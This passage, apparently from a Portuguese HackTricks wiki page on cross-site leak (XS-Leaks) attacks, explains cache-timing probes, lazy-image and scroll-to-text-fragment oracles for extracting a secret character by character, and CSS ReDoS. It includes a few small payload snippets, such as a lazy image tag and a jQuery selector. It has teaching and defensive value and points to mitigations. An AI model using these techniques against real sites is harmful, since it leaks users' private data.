{% hint style="warning" %} Por isso essa técnica é interessante: o Chrome agora possui particionamento de cache, e a chave de cache da página recém-aberta é: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), mas se eu abrir uma página ngrok e usar fetch nela, a chave de cache será: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), a chave de cache é diferente, então a cache não pode ser compartilhada. Você pode encontrar mais detalhes aqui: Ganho de segurança e privacidade por meio do particionamento de cache
(Comentário de aqui) {% endhint %}

Se um site exemplo.com incluir um recurso de *.exemplo.com/recurso, então esse recurso terá a mesma chave de cache como se o recurso fosse solicitado diretamente por meio de navegação de nível superior. Isso ocorre porque a chave de cache é composta pelo eTLD+1 de nível superior e eTLD+1 do frame.

Como acessar o cache é mais rápido do que carregar um recurso, é possível tentar alterar a localização de uma página e cancelá-la 20ms (por exemplo) depois. Se a origem foi alterada após a parada, significa que o recurso estava em cache.
Ou poderia apenas enviar alguns fetch para a página potencialmente em cache e medir o tempo que leva.

Redirecionamento Manual

Fetch com AbortController

Use fetch e setTimeout com um AbortController para detectar se o **recurso está

<img src=/something loading=lazy >

Portanto, o que você pode fazer é adicionar muitos caracteres aleatórios (Por exemplo milhares de "W"s) para preencher a página da web antes do segredo ou adicionar algo como <br><canvas height="1850px"></canvas><br>.
Então, se por exemplo a injeção aparecer antes da flag, a imagem será carregada, mas se aparecer depois da flag, a flag + o lixo irão impedir que seja carregada (você precisará ajustar a quantidade de lixo a ser colocada). Isso é o que aconteceu neste writeup.

Outra opção seria usar o scroll-to-text-fragment se permitido:

Scroll-to-text-fragment

No entanto, faça o bot acessar a página com algo como

#:~:text=SECR

Então a página da web será algo como: https://victim.com/post.html#:~:text=SECR

Onde post.html contém os caracteres maliciosos do atacante e a imagem de carregamento lento e então o segredo do bot é adicionado.

O que este texto fará é fazer o bot acessar qualquer texto na página que contenha o texto SECR. Como esse texto é o segredo e está logo abaixo da imagem, a imagem só será carregada se o segredo adivinhado estiver correto. Assim, você tem seu oráculo para exfiltrar o segredo caractere por caractere.

Alguns exemplos de código para explorar isso: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Carregamento Lento de Imagem Baseado em Tempo

Se não for possível carregar uma imagem externa que poderia indicar ao atacante que a imagem foi carregada, outra opção seria tentar adivinhar o caractere várias vezes e medir isso. Se a imagem for carregada, todas as solicitações levarão mais tempo do que se a imagem não for carregada. Isso é o que foi usado na solução deste artigo resumido aqui:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

Se jQuery(location.hash) é usado, é possível descobrir via tempo se algum conteúdo HTML existe, isso ocorre porque se o seletor main[id='site-main'] não corresponder, não é necessário verificar o restante dos seletores:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

Injeção de CSS

{% content-ref url="xs-search/css-injection/" %} injeção-de-css {% endcontent-ref %}

Defesas

Existem mitigações recomendadas em https://xsinator.com/paper.pdf também em cada seção do wiki https://xsleaks.dev/. Dê uma olhada lá para mais informações sobre como se proteger contra essas técnicas.

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:


Use Trickest para construir e automatizar fluxos de trabalho facilmente com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}